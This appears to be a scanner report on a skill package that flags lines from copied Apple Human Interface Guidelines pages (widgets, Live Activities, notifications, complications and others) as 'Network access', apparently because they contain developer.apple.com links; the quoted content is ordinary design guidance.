, Spotlight, and the Shortcuts app; using hardware features like the [Action button](https://developer.apple.com - Network accessline 15
 to define actions within your app to make available to the system. Each App Shortcut includes one or more actions that represent a set of steps people mig - Network accessline 21
When you use App Intents to make your app’s actions available to the system, in addition to the App Shortcuts that your app provides, people can also make their own custom shortcuts by combining actions in the Shortcuts app. Custom shortcut - Network accessline 23
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Best-practices) - Network accessline 27
**Add flexibility by letting people choose from a set of options.** An App Shortcut can include a single optional value, or parameter, if it makes sense. For example, a meditation app could offer an App Shortcut that lets someone begin a sp - Network accessline 29
 - Network accessline 41
* Snippets are great for custom views that display static information or dialog options, like showing the weather at a person’s location or confirming an order. For developer guidance, see [`ShowsSnippetView`](https://developer.apple.com/do - Network accessline 43
* [Live Activities](https://developer.apple.com/design/human-interface-guidelines/live-activities) offer continuous access to information that’s likely to remain relevant and change over a period of time, and are great for timers and countd - Network accessline 48
 - Network accessline 56
**Provide brief, memorable activation phrases and natural variants.** Because an App Shortcut phrase (or a variant you define) is what people say to run an App Shortcut with Siri, it’s important to keep it brief to make it easier to remembe - Network accessline 62
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Platform-considerations) - Network accessline 66
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#iOS-iPadOS) - Network accessline 68
App Shortcuts can appear in the Top Hit area of Spotlight when people search for your app, or in the Shortcuts area below. Each App Shortcut includes a symbol from [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/s - Network accessline 70
 - Network accessline 80
## [Resources](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Resources) - Network accessline 82
#### [Related](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Related) - Network accessline 84
[Siri](https://developer.apple.com/design/human-interface-guidelines/siri) - Network accessline 86
[Siri Style Guide](https://developer.apple.com/siri/style-guide/) - Network accessline 88
[Shortcuts User Guide](https://support.apple.com/guide/shortcuts/welcome/ios) - Network accessline 90
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Developer-documentation) - Network accessline 92
[App Intents](https://developer.apple.com/documentation/AppIntents) - Network accessline 94
[SiriKit](https://developer.apple.com/documentation/SiriKit) - Network accessline 96
[Making actions and content discoverable and widely available](https://developer.apple.com/documentation/AppIntents/Making-actions-and-content-discoverable-and-widely-available) — App Intents - Network accessline 98
[Integrating custom data types into your intents](https://developer.apple.com/documentation/AppIntents/Integrating-custom-types-into-your-intents) — App Intents - Network accessline 100
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Videos) - Network accessline 102
[ Design interactive snippets ](https://developer.apple.com/videos/play/wwdc2025/281 - Network accessline 104
[ Get to know App Intents ](https://developer.apple.com/videos/play/wwdc2025/244) - Network accessline 106
[ Bring your app’s core features to users with App Intents ](https://developer.apple - Network accessline 108
## [Change log](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Change-log)
skills/hig-components-system/references/complications.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Complications | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/complications - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/complications - Network accessline 9
 into several families — like [circular](https://developer.apple.com/design/human-interface-guidelines/complications#Circular) and [inline](https://devel - Network accessline 19
Prefer using [WidgetKit](https://developer.apple.com/documentation/WidgetKit) to develop complications for watchOS 9 and later. For guidance, see [Migrating ClockKit complications to WidgetKit](https://developer.apple.com/documentation/Widg - Network accessline 21
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/complications#Best-practices) - Network accessline 27
**Consider creating multiple complications for each family.** Supporting multiple complications helps you take advantage of shareable watch faces and lets people configure a watch face that’s centered on an app they love. For example, an ap - Network accessline 31
**Keep privacy in mind.** With the Always-On Retina display, information on the watch face might be visible to people other than the wearer. Make sure you help people prevent potentially sensitive information from being visible to others. F - Network accessline 33
**Carefully consider when to update data.** You provide a complication’s data in the form of a timeline where each entry has a value that specifies the time at which to display your data on the watch face. Different data sets might require - Network accessline 35
## [Visual design](https://developer.apple.com/design/human-interface-guidelines/complications#Visual-design) - Network accessline 48
**Make sure images look good in tinted mode.** In tinted mode, the system applies a solid color to a complication’s text, gauges, and images, and desaturates full-color images unless you provide tinted versions of them. For developer guidan - Network accessline 61
**Provide a set of static placeholder images for each complication you support.** The system uses placeholder images when there’s no other content to display for your complication’s data. For example, when people first install your app, the - Network accessline 63
## [Circular](https://developer.apple.com/design/human-interface-guidelines/complications#Circular) - Network accessline 67
Image - Network accessline 79
Stack image - Network accessline 81
Image - Network accessline 125
St - Network accessline 127
 - Network accessline 165
Circular image - Network accessline 167
 - Network accessline 210
Flat - Network accessline 212
Ring image - Network accessline 214
Ring text - Network accessline 216
Square - Network accessline 228
Large flat - Network accessline 236
## [Rectangular](https://developer.apple.com/design/human-interface-guidelines/complications#Rectangular) - Network accessline 246
* By using [intents](https://developer.apple.com/documentation/appintents/app-intents) to specify relevancy, and help ensure that your widget is displayed in the Smart Stack at times that are most appropriate and useful to people - Network accessline 253
For developer guidance, see [`WidgetFamily.accessoryRectangular`](https://developer.apple.com/documentation/WidgetKit/WidgetFamily/accessoryRectangular). See [Widgets](https://developer.apple.com/design/human-interface-guidelines/widgets) f - Network accessline 255
 - Network accessline 287
### [Circular small](https://developer.apple.com/design/human-interface-guidelines/complications#Circular-small) - Network accessline 291
Ring image - Network accessline 293
Ring text - Network accessline 295
Simple image - Network accessline 297
Simple text - Network accessline 299
Stack image - Network accessline 301
Stack text - Network accessline 316
### [Modular small](https://developer.apple.com/design/human-interface-guidelines/complications#Modular-small) - Network accessline 320
Ring image - Network accessline 324
Ring text - Network accessline 326
Simple image - Network accessline 328
Simple text - Network accessline 330
Stack image - Network accessline 332
Stack text - Network accessline 347
### [Modular large](https://developer.apple.com/design/human-interface-guidelines/complications#Modular-large) - Network accessline 351
 - Network accessline 371
Ring image - Network accessline 373
Ring text - Network accessline 375
Simple image - Network accessline 377
Simple text - Network accessline 379
Stack image - Network accessline 381
Stack text - Network accessline 396
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/complications#Platform-considerations) - Network accessline 400
## [Resources](https://developer.apple.com/design/human-interface-guidelines/complications#Resources) - Network accessline 402
#### [Related](https://developer.apple.com/design/human-interface-guidelines/complications#Related) - Network accessline 404
[Watch faces](https://developer.apple.com/design/human-interface-guidelines/watch-faces) - Network accessline 406
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/complications#Developer-documentation) - Network accessline 408
[WidgetKit](https://developer.apple.com/documentation/WidgetKit) - Network accessline 410
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/complications#Videos) - Network accessline 412
[ Design widgets for the Smart Stack on Apple Watch ](https://developer.apple.com/vi - Network accessline 414
[ Go further with Complications in WidgetKit ](https://developer.apple.com/videos/play/wwdc2022/10051) - Network accessline 416
[ Complications and widgets: Reloaded ](https://developer.apple.com/videos/play/wwdc2022/10050) - Network accessline 418
## [Change log](https://developer.apple.com/design/human-interface-guidelines/complications#Change-log)
skills/hig-components-system/references/home-screen-quick-actions.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Home Screen quick actions | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions - Network accessline 9
 - Network accessline 23
**Provide a familiar interface icon for each quick action.** Prefer using [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) to represent actions. For a list of icons that represent common actions, see [S - Network accessline 25
If you design your own interface icon, use the Quick Action Icon Template that’s included with [Apple Design Resources for iOS and iPadOS](https://developer.apple.com/design/resources/#ios-apps). - Network accessline 29
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions#Platform-considerations) - Network accessline 33
## [Resources](https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions#Resources) - Network accessline 35
#### [Related](https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions#Related) - Network accessline 37
[Menus](https://developer.apple.com/design/human-interface-guidelines/menus) - Network accessline 39
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions#Developer-documentation) - Network accessline 41
[Add Home Screen quick actions](https://developer.apple.com/documentation/UIKit/add-home-screen-quick-actions) — UIKit
skills/hig-components-system/references/live-activities.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Live Activities | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/live-activities - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/live-activities - Network accessline 9
 - Network accessline 28
* [Compact](https://developer.apple.com/design/human-interface-guidelines/live-activities#Compact) - Network accessline 30
* [Minimal](https://developer.apple.com/design/human-interface-guidelines/live-activities#Minimal) - Network accessline 32
* [Expanded](https://developer.apple.com/design/human-interface-guidelines/live-activities#Expanded) - Network accessline 34
* [Lock Screen](https://developer.apple.com/design/human-interface-guidelines/live-activities#Lock-Screen) - Network accessline 41
### [Compact](https://developer.apple.com/design/human-interface-guidelines/live-activities#Compact) - Network accessline 45
 - Network accessline 47
For design guidance, see [Compact presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Compact-presentation). - Network accessline 49
### [Minimal](https://developer.apple.com/design/human-interface-guidelines/live-activities#Minimal) - Network accessline 53
 - Network accessline 55
For design guidance, see [Minimal presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Minimal-presentation). - Network accessline 57
### [Expanded](https://developer.apple.com/design/human-interface-guidelines/live-activities#Expanded) - Network accessline 61
 - Network accessline 63
For design guidance, see [Expanded presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Expanded-presentation). - Network accessline 65
### [Lock Screen](https://developer.apple.com/design/human-interface-guidelines/live-activities#Lock-Screen) - Network accessline 69
 - Network accessline 73
 - Network accessline 75
For design guidance, see [Lock Screen presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Lock-Screen-presentation). - Network accessline 77
### [StandBy](https://developer.apple.com/design/human-interface-guidelines/live-activities#StandBy) - Network accessline 81
. - Network accessline 85
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/live-activities#Best-practices) - Network accessline 93
**Avoid displaying sensitive information.** Live Activities are prominently visible and could be viewed by casual observers; for example, on the Lock Screen or in the Always-On display. For content people might consider sensitive or private - Network accessline 103
 - Network accessline 105
 - Network accessline 107
 - Network accessline 109
 - Network accessline 111
### [Creating Live Activity layouts](https://developer.apple.com/design/human-interface-guidelines/live-activities#Creating-Live-Activity-layouts) - Network accessline 113
**Adapt to different screen sizes and presentations.** Live Activities scale to fit various device screens. Create layouts and assets for various devices and scale factors, recognizing that the actual size on screen may vary or change. Ensu - Network accessline 117
**Use familiar layouts for custom views and layouts.** Templates with default system margins and recommended text sizes are available in [Apple Design Resources](https://developer.apple.com/design/resources/). Using them helps your Live Act - Network accessline 119
 - Network accessline 121
**Use consistent margins and concentric placement.** Use even, matching margins between rounded shapes and the edges of the Live Activity, including corners, to ensure a harmonious fit. This prevents elements from poking into the rounded sh - Network accessline 123
 - Network accessline 127
 - Network accessline 131
 - Network accessline 137
 - Network accessline 141
 - Network accessline 143
 - Network accessline 145
 - Network accessline 147
 - Network accessline 153
 - Network accessline 157
 - Network accessline 163
### [Choosing colors](https://developer.apple.com/design/human-interface-guidelines/live-activities#Choosing-colors) - Network accessline 169
**Tint your Live Activity’s key line color so that it matches your content.** When the background is dark — for example, in Dark Mode — a key line appears around the Dynamic Island to distinguish it from other content. Choose a key line col - Network accessline 171
### [Adding transitions and animating content updates](https://developer.apple.com/design/human-interface-guidelines/live-activities#Adding-transitions-and-animating-content-updates) - Network accessline 181
For developer guidance, see [Animating data updates in widgets and Live Activities](https://developer.apple.com/documentation/WidgetKit/Animating-data-updates-in-widgets-and-live-activities). - Network accessline 183
### [Offering interactivity](https://developer.apple.com/design/human-interface-guidelines/live-activities#Offering-interactivity) - Network accessline 185
**Make sure tapping the Live Activity opens your app at the right location.** Take people directly to related details and actions — don’t make them navigate to find relevant information. For developer guidance on SwiftUI views that support - Network accessline 191
### [Starting, updating, and ending a Live Activity](https://developer.apple.com/design/human-interface-guidelines/live-activities#Starting-updating-and-ending-a-Live-Activity) - Network accessline 195
**Offer an App Shortcut that starts your Live Activity.** App Shortcuts expose functionality to the system, allowing access in various contexts. For example, create an App Shortcut that allows people to start your Live Activity using the Ac - Network accessline 203
**Always end a Live Activity immediately when the task or event ends, and consider setting a custom dismissal time.** When a Live Activity ends, the system immediately removes it from the Dynamic Island and in CarPlay. On the Lock Screen, i - Network accessline 205
## [Presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Presentation) - Network accessline 209
**Start with the iPhone design, then refine it for other contexts.** Create standard designs for each presentation first. Then, depending on the functionality that your Live Activity provides, design additional custom layouts for specific c - Network accessline 211
### [Compact presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Compact-presentation) - Network accessline 219
 - Network accessline 223
 - Network accessline 225
 - Network accessline 229
### [Minimal presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Minimal-presentation) - Network accessline 233
### [Expanded presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Expanded-presentation) - Network accessline 239
 - Network accessline 243
 - Network accessline 247
### [Lock Screen presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Lock-Screen-presentation) - Network accessline 253
**Make sure your design, assets, and colors look great and offer enough contrast in Dark Mode and on an Always-On display.** By default, a Live Activity on the Lock Screen uses a light background color in the light appearance and a dark bac - Network accessline 255
**Verify the generated color of the dismiss button.** The system automatically generates a matching dismiss button based on the background and foreground colors of your Live Activity. Verify that the generated color matches your design and - Network accessline 257
**Use standard margins to align your design with notifications.** The standard layout margin for Live Activities on the Lock Screen is 14 points. While tighter margins may be appropriate for elements like graphics or buttons, avoid crowding - Network accessline 259
### [StandBy presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#StandBy-presentation) - Network accessline 261
**Update your layout for StandBy.** Make sure assets look great at the larger scale, and consider creating a custom layout that makes use of the extra space. For developer guidance, see [Creating custom views for Live Activities](https://de - Network accessline 269
 - Network accessline 271
## [CarPlay](https://developer.apple.com/design/human-interface-guidelines/live-activities#CarPlay) - Network accessline 275
Your Live Activity design applies to both CarPlay and Apple Watch, so design for both contexts. While Live Activities on Apple Watch can be interactive, the system deactivates interactive elements in CarPlay. For more information, refer to - Network accessline 277
**Consider creating a custom layout if your Live Activity would benefit from larger text or additional information.** Instead of using the default appearance in CarPlay, declare support for a [`ActivityFamily.small`](https://developer.apple - Network accessline 281
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/live-activities#Platform-considerations) - Network accessline 285
### [macOS](https://developer.apple.com/design/human-interface-guidelines/live-activities#macOS) - Network accessline 289
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/live-activities#watchOS) - Network accessline 297
**Carefully consider including buttons or toggles in your custom layout.** The custom watchOS layout also applies to your Live Activity in CarPlay where the system deactivates interactive elements. If people are likely to start or observe y - Network accessline 299
 - Network accessline 320
### [CarPlay dimensions](https://developer.apple.com/design/human-interface-guidelines/live-activities#CarPlay-dimensions) - Network accessline 338
### [iOS dimensions](https://developer.apple.com/design/human-interface-guidelines/live-activities#iOS-dimensions) - Network accessline 380
### [iPadOS dimensions](https://developer.apple.com/design/human-interface-guidelines/live-activities#iPadOS-dimensions) - Network accessline 392
### [macOS dimensions](https://developer.apple.com/design/human-interface-guidelines/live-activities#macOS-dimensions) - Network accessline 396
### [watchOS dimensions](https://developer.apple.com/design/human-interface-guidelines/live-activities#watchOS-dimensions) - Network accessline 408
## [Resources](https://developer.apple.com/design/human-interface-guidelines/live-activities#Resources) - Network accessline 410
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Developer-documentation) - Network accessline 412
[ActivityKit](https://developer.apple.com/documentation/ActivityKit) - Network accessline 414
[SwiftUI](https://developer.apple.com/documentation/SwiftUI) - Network accessline 416
[WidgetKit](https://developer.apple.com/documentation/WidgetKit) - Network accessline 418
[Developing a WidgetKit strategy](https://developer.apple.com/documentation/WidgetKit/Developing-a-WidgetKit-strategy) — WidgetKit - Network accessline 420
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/live-activities#Videos) - Network accessline 422
[ Turbocharge your app for CarPlay ](https://developer.apple.com/videos/play/wwdc202 - Network accessline 424
[ What’s new in widgets ](https://developer.apple.com/videos/play/wwdc2025/278) - Network accessline 426
[ Design Live Activities for Apple Watch ](https://developer.apple.com/videos/play/w - Network accessline 428
[ Design dynamic Live Activities ](https://developer.apple.com/videos/play/wwdc2023/ - Network accessline 430
[ Meet ActivityKit ](https://developer.apple.com/videos/play/wwdc2023/10184) - Network accessline 432
## [Change log](https://developer.apple.com/design/human-interface-guidelines/live-activities#Change-log)
skills/hig-components-system/references/notifications.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Notifications | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/notifications - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/notifications - Network accessline 9
 - Network accessline 28
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/notifications#Best-practices) - Network accessline 34
**Avoid sending a notification that tells people to perform specific tasks within your app.** If it makes sense to offer simple tasks that people can perform without opening your app, you can provide [notification actions](https://developer - Network accessline 36
**Use an alert — not a notification — to display an error message.** People are familiar with both alerts and notifications, so you don’t want to cause confusion by using the wrong component. For guidance, see [Alerts](https://developer.app - Network accessline 42
## [Content](https://developer.apple.com/design/human-interface-guidelines/notifications#Content) - Network accessline 46
**Create a short title if it provides context for the notification content.** Prefer brief titles that people can read at a glance, especially on Apple Watch, where space is limited. When possible, take advantage of the prominent notificati - Network accessline 50
**Provide generically descriptive text to display when notification previews aren’t available.** In Settings, people can choose to hide notification previews for all apps. In this situation, the system shows only your app icon and the defau - Network accessline 54
**Consider providing a sound to supplement your notifications.** Sound can be a great way to distinguish your app’s notifications and get someone’s attention when they’re not looking at the device. You can create a custom sound that coordin - Network accessline 56
## [Notification actions](https://developer.apple.com/design/human-interface-guidelines/notifications#Notification-actions) - Network accessline 58
A notification can present a customizable detail view that contains up to four buttons people use to perform actions without opening your app. For example, a Calendar event notification provides a Snooze button that postpones the event’s al - Network accessline 66
**Provide a simple, recognizable interface icon for each notification action.** An interface icon reinforces an action’s meaning, helping people instantly understand what it does. The system displays your interface icon on the trailing side - Network accessline 68
## [Badging](https://developer.apple.com/design/human-interface-guidelines/notifications#Badging) - Network accessline 80
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/notifications#Platform-considerations) - Network accessline 84
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/notifications#watchOS) - Network accessline 90
#### [Short looks](https://developer.apple.com/design/human-interface-guidelines/notifications#Short-looks) - Network accessline 94
 - Network accessline 104
 to create engagi - Network accessline 120
#### [Double tap](https://developer.apple.com/design/human-interface-guidelines/notifications#Double-tap) - Network accessline 126
## [Resources](https://developer.apple.com/design/human-interface-guidelines/notifications#Resources) - Network accessline 128
#### [Related](https://developer.apple.com/design/human-interface-guidelines/notifications#Related) - Network accessline 130
[Managing notifications](https://developer.apple.com/design/human-interface-guidelines/managing-notifications) - Network accessline 132
[Alerts](https://developer.apple.com/design/human-interface-guidelines/alerts) - Network accessline 134
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/notifications#Developer-documentation) - Network accessline 136
[Asking permission to use notifications](https://developer.apple.com/documentation/UserNotifications/asking-permission-to-use-notifications) — User Notifications - Network accessline 138
[User Notifications UI](https://developer.apple.com/documentation/UserNotificationsUI) - Network accessline 140
[User Notifications](https://developer.apple.com/documentation/UserNotifications) - Network accessline 142
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/notifications#Videos) - Network accessline 144
[ Send communication and Time Sensitive notifications ](https://developer.apple.com/videos/play/wwdc2021/10091) - Network accessline 146
[ The Push Notifications primer ](https://developer.apple.com/videos/play/wwdc2020/10095) - Network accessline 148
## [Change log](https://developer.apple.com/design/human-interface-guidelines/notifications#Change-log)
skills/hig-components-system/references/top-shelf.md
- Network accessline 1
--- title: "Top Shelf | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/top-shelf - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/top-shelf - Network accessline 9
 - Network accessline 19
**Help people jump right into your content.** Top Shelf provides a path to the content people care about most. Two of the system-provided layout templates — [carousel actions](https://developer.apple.com/design/human-interface-guidelines/to - Network accessline 27
**Showcase compelling dynamic content that can help draw people in and encourage them to view more.** If necessary, you can supply static images, but people typically prefer a captivating, dynamic Top Shelf experience that features the newe - Network accessline 37
## [Dynamic layouts](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Dynamic-layouts) - Network accessline 50
### [Carousel actions](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Carousel-actions) - Network accessline 56
### [Carousel details](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Carousel-details) - Network accessline 62
### [Sectioned content row](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Sectioned-content-row) - Network accessline 70
#### [Poster (2:3)](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Poster-23) - Network accessline 72
 - Network accessline 82
 - Network accessline 92
 - Network accessline 110
**If you need text, add it to your image.** This layout style doesn’t show labels under content, so all text must be part of the image itself. In layered images, consider elevating text by placing it on a dedicated layer above the others. A - Network accessline 112
 - Network accessline 126
## [Resources](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Resources) - Network accessline 128
#### [Related](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Related) - Network accessline 130
[Apple Design Resources](https://developer.apple.com/design/resources/#tvos-apps) - Network accessline 132
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/top-shelf#Videos) - Network accessline 134
[ Mastering the Living Room With tvOS ](https://developer.apple.com/videos/play/wwdc2019/211)
skills/hig-components-system/references/watch-faces.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Watch faces | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/watch-faces - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/watch-faces - Network accessline 9
 - Network accessline 21
**Display a preview of each watch face you share.** Displaying a preview that highlights the advantages of your watch face can help people visualize its benefits. You can get a preview by using the iOS Watch app to email the watch face to y - Network accessline 27
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/watch-faces#Platform-considerations) - Network accessline 31
## [Resources](https://developer.apple.com/design/human-interface-guidelines/watch-faces#Resources) - Network accessline 33
#### [Related](https://developer.apple.com/design/human-interface-guidelines/watch-faces#Related) - Network accessline 35
[Apple Design Resources — Product Bezels](https://developer.apple.com/design/resources/#product-bezels) - Network accessline 37
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/watch-faces#Developer-documentation) - Network accessline 39
[Sharing an Apple Watch face](https://developer.apple.com/documentation/ClockKit/sharing-an-apple-watch-face) — ClockKit
skills/hig-components-system/references/widgets.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Widgets | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/widgets - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/widgets - Network accessline 9
 - Network accessline 39
### [System family widgets](https://developer.apple.com/design/human-interface-guidelines/widgets#System-family-widgets) - Network accessline 51
 - Network accessline 53
 - Network accessline 82
 - Network accessline 84
 - Network accessline 86
 - Network accessline 88
 - Network accessline 110
Full-color - Network accessline 112
Clear - Network accessline 114
Tinted - Network accessline 121
 - Network accessline 128
 - Network accessline 135
StandBy - Network accessline 137
 that depends on the platform and a person’s appearance settings: - Network accessline 162
* The system uses the [full color](https://developer.apple.com/documentation/WidgetKit/WidgetRenderingMode/fullColor) rendering mode for system family widgets across all platforms to display your widget in full color. It doesn’t change the - Network accessline 164
* The system uses the [accented](https://developer.apple.com/documentation/WidgetKit/WidgetRenderingMode/accented) rendering mode for system family widgets across all platforms and for accessory widgets on Apple Watch. In the accented rende - Network accessline 166
* The system uses the [vibrant](https://developer.apple.com/documentation/WidgetKit/WidgetRenderingMode/vibrant) rendering mode for widgets on the Lock Screen of iPhone and iPad, and on iPhone in StandBy in low-light conditions. It desatura - Network accessline 181
For additional design guidance, see [Rendering modes](https://developer.apple.com/design/human-interface-guidelines/widgets#Rendering-modes). For developer guidance, see [Preparing widgets for additional platforms, contexts, and appearances - Network accessline 183
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/widgets#Best-practices) - Network accessline 187
 - Network accessline 215
**Use system functionality to refresh dates and times in your widget.** Because widget update frequency is limited, let the system automatically refresh date and time information to preserve update opportunities. Determine the update freque - Network accessline 217
**Use animated transitions to bring attention to data updates.** By default, many SwiftUI views animate content updates. Additionally, use standard and custom animations with a duration of up to two seconds to let people know when new infor - Network accessline 219
### [Adding interactivity](https://developer.apple.com/design/human-interface-guidelines/widgets#Adding-interactivity) - Network accessline 223
Incomplete - Network accessline 225
 - Network accessline 239
As you design for various devices and scale factors, use the values listed in [Specifications](https://developer.apple.com/design/human-interface-guidelines/widgets#Specifications) and the [Apple Design Resources](https://developer.apple.co - Network accessline 241
**In general, use standard margins to ensure legibility.** Use the standard margin width for widgets — 16 points for most widgets — to avoid crowding their edges and creating a cluttered appearance. If you need to use tighter margins — for - Network accessline 243
**Coordinate the corner radius of your content with the corner radius of the widget.** To ensure that your content looks good within a widget’s rounded corners, use a SwiftUI container to apply the correct corner radius. For developer guida - Network accessline 245
### [Displaying text in widgets](https://developer.apple.com/design/human-interface-guidelines/widgets#Displaying-text-in-widgets) - Network accessline 247
**Prefer using the system font, text styles, and SF Symbols.** Using the system font helps your widget look at home on any platform, while making it easier for you to display great-looking text in a variety of weights, styles, and sizes. Us - Network accessline 255
In iOS, iPadOS, and visionOS, widgets support Dynamic Type sizes from Large to AX5 when you use [`Font`](https://developer.apple.com/documentation/SwiftUI/Font) to choose a system font or [`custom(_:size:)`](https://developer.apple.com/docu - Network accessline 257
### [Using color](https://developer.apple.com/design/human-interface-guidelines/widgets#Using-color) - Network accessline 265
## [Rendering modes](https://developer.apple.com/design/human-interface-guidelines/widgets#Rendering-modes) - Network accessline 267
### [Full-color](https://developer.apple.com/design/human-interface-guidelines/widgets#Full-color) - Network accessline 269
**Support light and dark appearances.** Prefer light backgrounds for the light appearance and dark backgrounds for the dark appearance, and consider using the semantic system colors for text and backgrounds to let the colors dynamically ada - Network accessline 271
 - Network accessline 279
For developer guidance, see [`widgetAccentable(_:)`](https://developer.apple.com/documentation/SwiftUI/View/widgetAccentable\(_:\)) and [Optimizing your widget for accented rendering mode and Liquid Glass](https://developer.apple.com/docume - Network accessline 281
### [Vibrant](https://developer.apple.com/design/human-interface-guidelines/widgets#Vibrant) - Network accessline 287
## [Previews and placeholders](https://developer.apple.com/design/human-interface-guidelines/widgets#Previews-and-placeholders) - Network accessline 293
 - Network accessline 311
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/widgets#iOS-iPadOS) - Network accessline 313
Widgets on the Lock Screen are functionally similar to watch complications and follow design principles for [Complications](https://developer.apple.com/design/human-interface-guidelines/complications) in addition to design principles for wi - Network accessline 317
. - Network accessline 323
**Offer Live Activities to show real-time updates.** Widgets don’t show real-time information. If your app allows people to track the progress of a task or event for a limited amount of time with frequent updates, consider offering Live Act - Network accessline 325
#### [StandBy and CarPlay](https://developer.apple.com/design/human-interface-guidelines/widgets#StandBy-and-CarPlay) - Network accessline 336
 - Network accessline 340
 - Network accessline 344
For developer guidance, see [Displaying the right widget background](https://developer.apple.com/documentation/WidgetKit/Displaying-the-right-widget-background). - Network accessline 348
 - Network accessline 358
For developer guidance, see [Updating your widgets for visionOS](https://developer.apple.com/documentation/WidgetKit/Updating-your-widgets-for-visionOS). - Network accessline 364
#### [Thresholds and sizes](https://developer.apple.com/design/human-interface-guidelines/widgets#Thresholds-and-sizes) - Network accessline 366
Widgets on Apple Vision Pro can adapt based on a person’s proximity, and visionOS provides widgets with two key thresholds to design for: the [`simplified`](https://developer.apple.com/documentation/WidgetKit/LevelOfDetail/simplified) thres - Network accessline 368
Viewed from a distance - Network accessline 370
Viewed from nearby - Network accessline 380
#### [Mounting styles](https://developer.apple.com/design/human-interface-guidelines/widgets#Mounting-styles) - Network accessline 384
* **[Elevated](https://developer.apple.com/documentation/WidgetKit/WidgetMountingStyle/elevated) style**. On horizontal surfaces — for example, on a desk — the widget always appears elevated and gently tilts backward, providing a subtle ang - Network accessline 386
* **[Recessed](https://developer.apple.com/documentation/WidgetKit/WidgetMountingStyle/recessed) style**. On vertical surfaces — for example, on a wall — the widget can appear recessed, with content set back into the surface, creating a dep - Network accessline 397
Use the [`supportedMountingStyles(_:)`](https://developer.apple.com/documentation/SwiftUI/WidgetConfiguration/supportedMountingStyles\(_:\)) property of your [`WidgetConfiguration`](https://developer.apple.com/documentation/SwiftUI/WidgetCo - Network accessline 401
#### [Treatment styles](https://developer.apple.com/design/human-interface-guidelines/widgets#Treatment-styles) - Network accessline 405
* The [`paper`](https://developer.apple.com/documentation/WidgetKit/WidgetTexture/paper) style creates a more grounded, print-like style that feels solid and makes the widget feel like part of its surroundings. When lighting conditions chan - Network accessline 407
* The [`glass`](https://developer.apple.com/documentation/WidgetKit/WidgetTexture/glass) style creates a lighter, layered look that adds depth and visual separation between foreground and background elements to emphasize clarity and contras - Network accessline 416
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/widgets#watchOS) - Network accessline 420
